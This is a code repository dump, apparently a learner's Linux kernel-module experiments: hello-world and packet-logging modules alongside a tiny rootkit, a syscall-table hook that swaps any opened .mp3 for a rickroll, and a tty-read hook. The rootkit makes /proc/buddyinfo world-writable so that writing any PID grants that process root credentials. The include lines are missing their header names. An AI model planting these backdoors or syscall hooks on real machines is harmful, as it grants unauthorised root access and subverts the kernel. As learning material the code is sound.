├── Makefile ├── hello.c ├── LICENSE ├── README.md ├── hello-packet.c ├── excited_virus.c ├── rootkit.c └── rickroll.c /Makefile: -------------------------------------------------------------------------------- 1 | obj-m += hello.o 2 | obj-m += hello-packet.o 3 | obj-m += rootkit.o 4 | obj-m += rickroll.o 5 | obj-m += excited_virus.o 6 | 7 | all: 8 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 9 | 10 | clean: 11 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 12 | -------------------------------------------------------------------------------- /hello.c: -------------------------------------------------------------------------------- 1 | #include // included for all kernel modules 2 | #include // included for KERN_INFO 3 | #include // included for __init and __exit macros 4 | 5 | static int __init hello_init(void) 6 | { 7 | printk(KERN_INFO "Hello, hacker school!!!\n"); 8 | return 0; // Non-zero return means that the module couldn't be loaded. 9 | } 10 | 11 | static void __exit hello_cleanup(void) 12 | { 13 | printk(KERN_INFO "I am dead.\n"); 14 | } 15 | 16 | module_init(hello_init); 17 | module_exit(hello_cleanup); 18 | 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013 Julia Evans 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | the Software, and to permit persons to whom the Software is furnished to do so, 8 | subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 15 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 16 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 17 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 18 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | 20 | 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Kernel module fun 2 | ================= 3 | 4 | ## Motivation 5 | 6 | I didn't know at all how kernel modules worked. This is me learning 7 | how. This is all tested using the `3.5.0-18` kernel. 8 | 9 | ## Contents 10 | 11 | **`hello.c`**: a simple "hello world" module 12 | 13 | **`hello-packet.c`**: logs every time your computer receives a packet. 14 | This one could easily be modified to drop packets 50% of the time. 15 | 16 | **`rootkit.c`**: A simple rootkit. 17 | [blog post explaining it more](http://jvns.ca/blog/2013/10/08/day-6-i-wrote-a-rootkit/) 18 | 19 | ## Compiling them 20 | 21 | I'm running Linux `3.5.0-18`. (run `uname -r`) to find out what you're 22 | using. This almost certainly won't work with a `2.x` kernel, and I 23 | don't know enough. It is unlikely to do any lasting damage to your 24 | computer, but I can't guarantee anything. 25 | 26 | I have my kernel sources set up in `/lib/modules/3.5.0-18-generic`. I 27 | think I only needed to run 28 | 29 | ``` 30 | sudo apt-get install linux-headers-3.5.0-18-generic 31 | ``` 32 | 33 | but I don't remember for sure. If you try this out, I'd love to hear. 34 | 35 | To compile them, just run 36 | 37 | ``` 38 | make 39 | ``` 40 | 41 | ## Inserting into your kernel (at your own risk!) 42 | 43 | ``` 44 | sudo insmod hello.ko 45 | dmesg | tail 46 | ``` 47 | 48 | should display the "hello world" message 49 | -------------------------------------------------------------------------------- /hello-packet.c: -------------------------------------------------------------------------------- 1 | #include // included for all kernel modules 2 | #include // included for KERN_INFO 3 | #include // included for __init and __exit macros 4 | #include 5 | #include 6 | 7 | //#undef __KERNEL__ 8 | #include 9 | //#define __KERNEL__ 10 | 11 | MODULE_LICENSE("GPL"); 12 | MODULE_AUTHOR("Lakshmanan"); 13 | MODULE_DESCRIPTION("A Simple Hello World module"); 14 | 15 | static struct nf_hook_ops nfho; //net filter hook option struct 16 | 17 | unsigned int my_hook(unsigned int hooknum, 18 | struct sk_buff *skb, 19 | const struct net_device *in, 20 | const struct net_device *out, 21 | int (*okfn)(struct sk_buff *)) { 22 | struct sock *sk = skb->sk; 23 | printk("Hello packet!"); 24 | return NF_ACCEPT; 25 | } 26 | 27 | static int init_filter_if(void) 28 | { 29 | nfho.hook = my_hook; 30 | nfho.hooknum = 0 ; //NF_IP_PRE_ROUTING; 31 | nfho.pf = PF_INET; 32 | nfho.priority = NF_IP_PRI_FIRST; 33 | 34 | nf_register_hook(&nfho); 35 | 36 | return 0; 37 | } 38 | 39 | static int __init hello_init(void) 40 | { 41 | printk(KERN_INFO "Hello world!\n"); 42 | init_filter_if(); 43 | return 0; // Non-zero return means that the module couldn't be loaded. 44 | } 45 | 46 | static void __exit hello_cleanup(void) 47 | { 48 | nf_unregister_hook(&nfho); 49 | printk(KERN_INFO "Cleaning up module.\n"); 50 | } 51 | 52 | module_init(hello_init); 53 | module_exit(hello_cleanup); 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /excited_virus.c: -------------------------------------------------------------------------------- 1 | #include // included for all kernel modules 2 | #include // included for KERN_INFO 3 | #include // included for __init and __exit macros 4 | #include // included for O_RDONLY 5 | #include // included for filp_open 6 | 7 | #define MODULE_NAME "rootkit" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("Julia Evans"); 11 | MODULE_DESCRIPTION("Makes your keyboard WAY MORE EXCITED"); 12 | 13 | static struct file_operations handler_fops; 14 | const struct file_operations *handler_original = 0; 15 | static ssize_t (*old_tty_read)(struct file * file, char * buf, size_t count, 16 | loff_t *ppos) = NULL; 17 | 18 | 19 | static ssize_t excited_tty_read(struct file * file, char * buf, size_t count, 20 | loff_t *ppos) { 21 | 22 | printk("hacking ur readz\n"); 23 | return old_tty_read(file, buf, count, ppos); 24 | } 25 | 26 | static int __init excited_init(void) 27 | { 28 | struct file* file = filp_open("/dev/tty0", O_RDONLY, 0); 29 | if (file != NULL) { 30 | old_tty_read = file->f_op->read; 31 | handler_original = file->f_op; 32 | handler_fops = *handler_original; 33 | handler_fops.read = excited_tty_read; 34 | file->f_op = &handler_fops; 35 | printk(KERN_INFO "Starting excited time!\n"); 36 | filp_close(file, NULL); 37 | } else { 38 | printk("OH NO FAILED!\n"); 39 | }; 40 | return 0; // Non-zero return means that the module couldn't be loaded. 41 | } 42 | 43 | static void __exit excited_cleanup(void) 44 | { 45 | struct file* file = filp_open("/dev/tty0", O_RDONLY, 0); 46 | file->f_op = handler_original; 47 | printk(KERN_INFO "Excited time is over =(\n"); 48 | } 49 | 50 | 51 | 52 | module_init(excited_init); 53 | module_exit(excited_cleanup); 54 | -------------------------------------------------------------------------------- /rootkit.c: -------------------------------------------------------------------------------- 1 | #include // included for all kernel modules 2 | #include // included for KERN_INFO 3 | #include // included for __init and __exit macros 4 | #include 5 | #include 6 | 7 | #define MODULE_NAME "rootkit" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("Julia Evans"); 11 | MODULE_DESCRIPTION("The tiniest rootkit"); 12 | 13 | static struct file_operations handler_fops; 14 | const struct file_operations *handler_original = 0; 15 | struct proc_dir_entry *handler, *root; 16 | 17 | 18 | 19 | // returns the task_struct associated with pid 20 | struct task_struct *get_task_struct_by_pid(unsigned pid) { 21 | struct pid *proc_pid = find_vpid(pid); 22 | struct task_struct *task; 23 | if(!proc_pid) 24 | return 0; 25 | task = pid_task(proc_pid, PIDTYPE_PID); 26 | return task; 27 | } 28 | 29 | static ssize_t make_pid_root ( 30 | struct file *filp, 31 | const char __user *data, 32 | size_t sz, 33 | loff_t *l) 34 | { 35 | char* dummy; 36 | unsigned pid = (int) simple_strtol(data, &dummy, 10); 37 | printk("YOU HAVE BEEN HACKED: Making PID %d root\n", pid); 38 | struct task_struct *task = get_task_struct_by_pid(pid); 39 | struct task_struct *init_task = get_task_struct_by_pid(1); 40 | if(!task || !init_task) 41 | return 1; 42 | task->cred = init_task->cred; 43 | 44 | return 1; 45 | } 46 | /** 47 | * Infects /proc/buddyinfo with a device handler that sets 48 | */ 49 | void install_handler(struct proc_dir_entry *root) { 50 | struct proc_dir_entry *ptr = root->subdir; 51 | while(ptr && strcmp(ptr->name, "buddyinfo")) 52 | ptr = ptr->next; 53 | if(ptr) { 54 | handler = ptr; 55 | ptr->mode |= S_IWUGO; 56 | handler_original = (struct file_operations*)ptr->proc_fops; 57 | // create new handler 58 | handler_fops = *ptr->proc_fops; 59 | handler_fops.write = make_pid_root; 60 | ptr->proc_fops = &handler_fops; 61 | } 62 | } 63 | 64 | static int __init module_init_proc(void) { 65 | static struct file_operations fileops_struct = {0}; 66 | struct proc_dir_entry *new_proc; 67 | // dummy to get proc_dir_entry of /proc 68 | new_proc = proc_create("dummy", 0644, 0, &fileops_struct); 69 | root = new_proc->parent; 70 | 71 | // install the handler to wait for orders... 72 | install_handler(root); 73 | 74 | // it's no longer required. 75 | remove_proc_entry("dummy", 0); 76 | return 0; 77 | } 78 | 79 | 80 | 81 | static int __init rootkit_init(void) 82 | { 83 | module_init_proc(); 84 | printk(KERN_INFO "Starting kernel module!\n"); 85 | return 0; // Non-zero return means that the module couldn't be loaded. 86 | } 87 | 88 | static void __exit rootkit_cleanup(void) 89 | { 90 | handler->proc_fops = handler_original; 91 | printk(KERN_INFO "Cleaning up module.\n"); 92 | } 93 | 94 | 95 | 96 | module_init(rootkit_init); 97 | module_exit(rootkit_cleanup); 98 | -------------------------------------------------------------------------------- /rickroll.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | MODULE_LICENSE("GPL"); 9 | MODULE_AUTHOR("Kamal Marhubi"); 10 | MODULE_DESCRIPTION("Rickroll module"); 11 | 12 | static char *rickroll_filename = "/home/bork/media/music/Rick Astley - Never Gonna Give You Up.mp3"; 13 | 14 | /* 15 | * Set up a module parameter for the filename. The arguments are variable name, 16 | * type, and permissions The third argument is the permissions for the parameter 17 | * file in sysfs, something like 18 | * 19 | * /sys/module//parameters/ 20 | * 21 | * We're setting it writeable by root so it can be modified without reloading 22 | * the module. 23 | */ 24 | module_param(rickroll_filename, charp, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); 25 | MODULE_PARM_DESC(rickroll_filename, "The location of the rick roll file"); 26 | 27 | 28 | /* 29 | * cr0 is an x86 control register, and the bit we're twiddling here controls 30 | * the write protection. We need to do this because the area of memory 31 | * containing the system call table is write protected, and modifying it would 32 | * case a protection fault. 33 | */ 34 | #define DISABLE_WRITE_PROTECTION (write_cr0(read_cr0() & (~ 0x10000))) 35 | #define ENABLE_WRITE_PROTECTION (write_cr0(read_cr0() | 0x10000)) 36 | 37 | 38 | static unsigned long **find_sys_call_table(void); 39 | asmlinkage long rickroll_open(const char __user *filename, int flags, umode_t mode); 40 | 41 | asmlinkage long (*original_sys_open)(const char __user *, int, umode_t); 42 | asmlinkage unsigned long **sys_call_table; 43 | 44 | 45 | static int __init rickroll_init(void) 46 | { 47 | if(!rickroll_filename) { 48 | printk(KERN_ERR "No rick roll filename given."); 49 | return -EINVAL; /* invalid argument */ 50 | } 51 | 52 | sys_call_table = find_sys_call_table(); 53 | 54 | if(!sys_call_table) { 55 | printk(KERN_ERR "Couldn't find sys_call_table.\n"); 56 | return -EPERM; /* operation not permitted; couldn't find general error */ 57 | } 58 | 59 | /* 60 | * Replace the entry for open with our own function. We save the location 61 | * of the real sys_open so we can put it back when we're unloaded. 62 | */ 63 | DISABLE_WRITE_PROTECTION; 64 | original_sys_open = (void *) sys_call_table[__NR_open]; 65 | sys_call_table[__NR_open] = (unsigned long *) rickroll_open; 66 | ENABLE_WRITE_PROTECTION; 67 | 68 | printk(KERN_INFO "Never gonna give you up!\n"); 69 | return 0; /* zero indicates success */ 70 | } 71 | 72 | 73 | /* 74 | * Our replacement for sys_open, which forwards to the real sys_open unless the 75 | * file name ends with .mp3, in which case it opens the rick roll file instead. 76 | */ 77 | asmlinkage long rickroll_open(const char __user *filename, int flags, umode_t mode) 78 | { 79 | int len = strlen(filename); 80 | 81 | /* See if we should hijack the open */ 82 | if(strcmp(filename + len - 4, ".mp3")) { 83 | /* Just pass through to the real sys_open if the extension isn't .mp3 */ 84 | return (*original_sys_open)(filename, flags, mode); 85 | } else { 86 | /* Otherwise we're going to hijack the open */ 87 | mm_segment_t old_fs; 88 | long fd; 89 | 90 | /* 91 | * sys_open checks to see if the filename is a pointer to user space 92 | * memory. When we're hijacking, the filename we pass will be in kernel 93 | * memory. To get around this, we juggle some segment registers. I 94 | * believe fs is the segment used for user space, and we're temporarily 95 | * changing it to be the segment the kernel uses. 96 | * 97 | * An alternative would be to use read_from_user() and copy_to_user() 98 | * and place the rickroll filename at the location the user code passed 99 | * in, saving and restoring the memory we overwrite. 100 | */ 101 | old_fs = get_fs(); 102 | set_fs(KERNEL_DS); 103 | 104 | /* Open the rickroll file instead */ 105 | fd = (*original_sys_open)(rickroll_filename, flags, mode); 106 | 107 | /* Restore fs to its original value */ 108 | set_fs(old_fs); 109 | 110 | return fd; 111 | } 112 | } 113 | 114 | 115 | static void __exit rickroll_cleanup(void) 116 | { 117 | printk(KERN_INFO "Ok, now we're gonna give you up. Sorry.\n"); 118 | 119 | /* Restore the original sys_open in the table */ 120 | DISABLE_WRITE_PROTECTION; 121 | sys_call_table[__NR_open] = (unsigned long *) original_sys_open; 122 | ENABLE_WRITE_PROTECTION; 123 | } 124 | 125 | 126 | /* 127 | * Finds the system call table's location in memory. 128 | * 129 | * This is necessary because the sys_call_table symbol is not exported. We find 130 | * it by iterating through kernel space memory, and looking for a known system 131 | * call's address. We use sys_close because all the examples I saw used 132 | * sys_close. Since we know the offset of the pointer to sys_close in the table 133 | * (__NR_close), we can get the table's base address. 134 | */ 135 | static unsigned long **find_sys_call_table() { 136 | unsigned long offset; 137 | unsigned long **sct; 138 | 139 | for(offset = PAGE_OFFSET; offset < ULLONG_MAX; offset += sizeof(void *)) { 140 | sct = (unsigned long **) offset; 141 | 142 | if(sct[__NR_close] == (unsigned long *) sys_close) 143 | return sct; 144 | } 145 | 146 | /* 147 | * Given the loop limit, it's somewhat unlikely we'll get here. I don't 148 | * even know if we can attempt to fetch such high addresses from memory, 149 | * and even if you can, it will take a while! 150 | */ 151 | return NULL; 152 | } 153 | 154 | 155 | module_init(rickroll_init); 156 | module_exit(rickroll_cleanup); 157 | --------------------------------------------------------------------------------